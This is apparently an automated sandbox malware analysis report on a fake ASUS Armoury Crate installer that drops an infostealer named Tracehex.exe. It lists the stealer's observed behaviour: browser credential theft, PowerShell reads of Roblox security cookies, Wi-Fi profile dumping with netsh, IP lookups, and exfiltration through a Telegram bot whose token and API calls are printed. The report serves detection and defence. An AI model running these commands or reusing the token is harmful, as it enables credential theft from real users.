| File name: | Armoury Crate.exe |
| Full analysis: | https://app.any.run/tasks/e0e448ed-6a99-4e95-a974-a6668c2ce906 |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | June 21, 2025, 19:49:27 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, 11 sections |
| MD5: | 0BA542BD1B9539C77E44924423FCC05F |
| SHA1: | ECB77BC5EB2426BDC9C640E8B5EF19DBC778E751 |
| SHA256: | D5C9AA50D91F721B0188535C7735B77556D06072497A9E56C7D030B484365072 |
| SSDEEP: | 98304:Im5J7/9igD9pUCMgKCjtlI+HQLd8migUn90niQRzMsV/GsPNrdIBYxpuNbvP8Bn+:7oj0Nhl/tlnhJF |
MALICIOUS
Actions looks like stealing of personal data
- Tracehex.exe (PID: 6672)
Steals credentials from Web Browsers
- Tracehex.exe (PID: 6672)
SUSPICIOUS
Starts POWERSHELL.EXE for commands execution
- Armoury Crate.exe (PID: 4224)
- Tracehex.exe (PID: 6672)
Executable content was dropped or overwritten
- powershell.exe (PID: 1068)
Gets file extension (POWERSHELL)
- powershell.exe (PID: 1068)
Reads security settings of Internet Explorer
- Armoury Crate.exe (PID: 4224)
- Tracehex.exe (PID: 5552)
- Tracehex.exe (PID: 6672)
Reads the date of Windows installation
- Armoury Crate.exe (PID: 4224)
Application launched itself
- Tracehex.exe (PID: 6672)
The process checks if it is being run in the virtual environment
- Tracehex.exe (PID: 5552)
Searches for installed software
- Tracehex.exe (PID: 6672)
Checks for external IP
- Tracehex.exe (PID: 6672)
- svchost.exe (PID: 2200)
Process communicates with Telegram (possibly using it as an attacker's C2 server)
- Tracehex.exe (PID: 6672)
Multiple wallet extension IDs have been found
- Tracehex.exe (PID: 6672)
Starts CMD.EXE for commands execution
- Tracehex.exe (PID: 6672)
Starts application with an unusual extension
- cmd.exe (PID: 3640)
Uses NETSH.EXE to obtain data on the network
- cmd.exe (PID: 3640)
Using 'findstr.exe' to search for text patterns in files and output
- cmd.exe (PID: 3640)
Possible usage of Discord/Telegram API has been detected (YARA)
- Tracehex.exe (PID: 6672)
- Tracehex.exe (PID: 5552)
Found regular expressions for crypto-addresses (YARA)
- Tracehex.exe (PID: 2140)
INFO
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 1068)
Checks supported languages
- Armoury Crate.exe (PID: 4224)
- Tracehex.exe (PID: 5552)
- Tracehex.exe (PID: 6672)
- Tracehex.exe (PID: 2140)
- chcp.com (PID: 3388)
The sample compiled with english language support
- Armoury Crate.exe (PID: 4224)
- powershell.exe (PID: 1068)
Creates files or folders in the user directory
- Armoury Crate.exe (PID: 4224)
- Tracehex.exe (PID: 6672)
Reads the computer name
- Armoury Crate.exe (PID: 4224)
- Tracehex.exe (PID: 6672)
- Tracehex.exe (PID: 2140)
- Tracehex.exe (PID: 5552)
Checks whether the specified file exists (POWERSHELL)
- powershell.exe (PID: 1068)
Process checks computer location settings
- Armoury Crate.exe (PID: 4224)
Reads the machine GUID from the registry
- Tracehex.exe (PID: 2140)
- Tracehex.exe (PID: 5552)
- Tracehex.exe (PID: 6672)
Checks proxy server information
- Tracehex.exe (PID: 6672)
Reads Environment values
- Tracehex.exe (PID: 6672)
Disables trace logs
- Tracehex.exe (PID: 6672)
Reads the software policy settings
- Tracehex.exe (PID: 6672)
Create files in a temporary directory
- Tracehex.exe (PID: 6672)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 1132)
- powershell.exe (PID: 1096)
Changes the display of characters in the console
- cmd.exe (PID: 3640)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
ims-api
(PID) Process(6672) Tracehex.exe
Telegram-Tokens (1)7644050498:AAE2fORExcKKFPKzrJJ2gzjds1nE-EOASVI
Telegram-Info-Links
7644050498:AAE2fORExcKKFPKzrJJ2gzjds1nE-EOASVI
Get info about bothttps://api.telegram.org/bot7644050498:AAE2fORExcKKFPKzrJJ2gzjds1nE-EOASVI/getMe
Get incoming updateshttps://api.telegram.org/bot7644050498:AAE2fORExcKKFPKzrJJ2gzjds1nE-EOASVI/getUpdates
Get webhookhttps://api.telegram.org/bot7644050498:AAE2fORExcKKFPKzrJJ2gzjds1nE-EOASVI/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7644050498:AAE2fORExcKKFPKzrJJ2gzjds1nE-EOASVI/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7644050498:AAE2fORExcKKFPKzrJJ2gzjds1nE-EOASVI/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7644050498:AAE2fORExcKKFPKzrJJ2gzjds1nE-EOASVI
End-PointsendMessage
Args
chat_id (1)7570840648
text (1)ℹ️ stealer > 45.90.185.109[The Netherlands] > Starting...
parse_mode (1)HTML
Telegram-Responses
oktrue
result
message_id372
from
id7644050498
is_bottrue
first_nameArmoryCrate
usernamearmorycrate_bot
chat
id7570840648
first_namesupr
last_namesu
usernamemr0x03
typeprivate
date1750535383
textℹ️ stealer > 45.90.185.109[The Netherlands] > Starting...
entities
offset13
length13
typeurl
TRiD
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
EXIF
EXE
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:06:11 23:30:23+00:00 |
| ImageFileCharacteristics: | Executable, No line numbers, No symbols, Large address aware, No debug |
| PEType: | PE32+ |
| LinkerVersion: | 2.44 |
| CodeSize: | 926208 |
| InitializedDataSize: | 5102592 |
| UninitializedDataSize: | 3584 |
| EntryPoint: | 0x10f6 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 5.2 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 0.0.0.1 |
| ProductVersionNumber: | 0.0.0.1 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Windows, Latin1 |
| CompanyName: | ASUS |
| FileDescription: | The installer for Armoury Crate and Aura Creator. |
| FileVersion: | 3.3.1.0 |
| InternalName: | - |
| LegalCopyright: | Copyright (C) 2019 |
| OriginalFileName: | ArmouryCrateInstaller.exe |
| ProductName: | - |
| ProductVersion: | 3.3.1.0 |
Total processes
152
Monitored processes
17
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1036 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1068 | powershell -Command "Expand-Archive -LiteralPath 'C:\Users\admin\AppData\Roaming\su_415127434\requirements.zip' -DestinationPath 'C:\Users\admin\AppData\Roaming\su_415127434\requirements' -Force" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Armoury Crate.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1096 | "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | Tracehex.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1132 | "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | Tracehex.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2140 | "C:\Users\admin\AppData\Roaming\su_415127434\requirements\Tracehex.exe" cli | C:\Users\admin\AppData\Roaming\su_415127434\requirements\Tracehex.exe | — | Tracehex.exe | |||||||||||
User: admin Company: Bootracodera Inc. Integrity Level: MEDIUM Version: 1.8.70.23 Modules
| |||||||||||||||
| 2200 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2468 | findstr All | C:\Windows\System32\findstr.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (QGREP) Utility Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2620 | netsh wlan show profile | C:\Windows\System32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2848 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3388 | chcp 65001 | C:\Windows\System32\chcp.com | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Change CodePage Utility Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
15 214
Read events
15 200
Write events
14
Delete events
0
Modification events
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (6672) Tracehex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Tracehex_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
Executable files
1
Suspicious files
20
Text files
13
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6672 | Tracehex.exe | C:\Users\admin\AppData\Local\Temp\places.raw | — | |
MD5:— | SHA256:— | |||
| 6672 | Tracehex.exe | C:\Users\admin\AppData\Local\Temp\tmp86AE.tmp.dat | — | |
MD5:— | SHA256:— | |||
| 1068 | powershell.exe | C:\Users\admin\AppData\Roaming\su_415127434\requirements\Tracehex.txt | binary | |
MD5:60DAF2EC6F845825ABB6DC9E03A9BB16 | SHA256:04507E6A9A4FFA6E4081EFC49F5975E9563CFC5A76F9EDE0743F4C5EBC2C7D0E | |||
| 1068 | powershell.exe | C:\Users\admin\AppData\Roaming\su_415127434\requirements\Tracehex.exe | executable | |
MD5:9834EAB05F36614911E08A8469BC956F | SHA256:4D1C08028C406387D01FC71658A511568C16C997AB3B65DC8902DDAB0D6A16C5 | |||
| 1068 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2sauv2oq.03z.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1068 | powershell.exe | C:\Users\admin\AppData\Roaming\su_415127434\requirements\wininit.txt | binary | |
MD5:D6E826D3916940821370F6CD7DE64C49 | SHA256:2E8BD0ECB42E6A5FD6E8B258002937468AF804276EEF67063CAE65C5187EB459 | |||
| 1068 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_glxak3rr.z5f.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6672 | Tracehex.exe | C:\Users\admin\AppData\Local\Temp\tmp85FC.tmp.dat | binary | |
MD5:15689BCA2327BD6439BB5A321BFF1115 | SHA256:1513329660C876E166FDE7919D705ECFA5339732849159685C59847BE92B7478 | |||
| 6672 | Tracehex.exe | C:\Users\admin\AppData\Local\Temp\tmp85FD.tmp.dat | binary | |
MD5:983A5B37990067066CF80EDDF2426994 | SHA256:E499265D1817B9CD52AC502B7BE6DEF5174478CAAAB7DADE263A7754E4E838D3 | |||
| 1068 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:EF8CF7CA751FC3B0D7E419E01D0F2BA1 | SHA256:1A41D3454D822888C285DAEB8312331AA13B2CE66D87D5CF4F23D94694858CDB | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
24
DNS requests
23
Threats
17
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6672 | Tracehex.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/xml | unknown | — | — | whitelisted |
2524 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6672 | Tracehex.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/xml | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 96.16.53.165:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 2.20.154.94:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6672 | Tracehex.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/xml | unknown | — | — | whitelisted |
6672 | Tracehex.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/xml | unknown | — | — | whitelisted |
6672 | Tracehex.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/xml | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
5944 | MoUsoCoreWorker.exe | 51.124.78.146:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5612 | RUXIMICS.exe | 51.124.78.146:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1268 | svchost.exe | 51.124.78.146:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6672 | Tracehex.exe | 104.26.13.205:443 | api.ipify.org | CLOUDFLARENET | US | shared |
6672 | Tracehex.exe | 208.95.112.1:80 | ip-api.com | TUT-AS | US | whitelisted |
2524 | svchost.exe | 40.126.32.138:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2336 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
2524 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
api.ipify.org |
| shared |
ip-api.com |
| whitelisted |
login.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
api.telegram.org |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2200 | svchost.exe | Misc activity | ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup |
6672 | Tracehex.exe | Misc activity | ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI |
2200 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2200 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
6672 | Tracehex.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
2200 | svchost.exe | Misc activity | SUSPICIOUS [ANY.RUN] Possible sending an external IP address to Telegram |
6672 | Tracehex.exe | Misc activity | ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) |
2200 | svchost.exe | Misc activity | ET HUNTING Telegram API Domain in DNS Lookup |
6672 | Tracehex.exe | Misc activity | ET HUNTING Telegram API Certificate Observed |
6672 | Tracehex.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |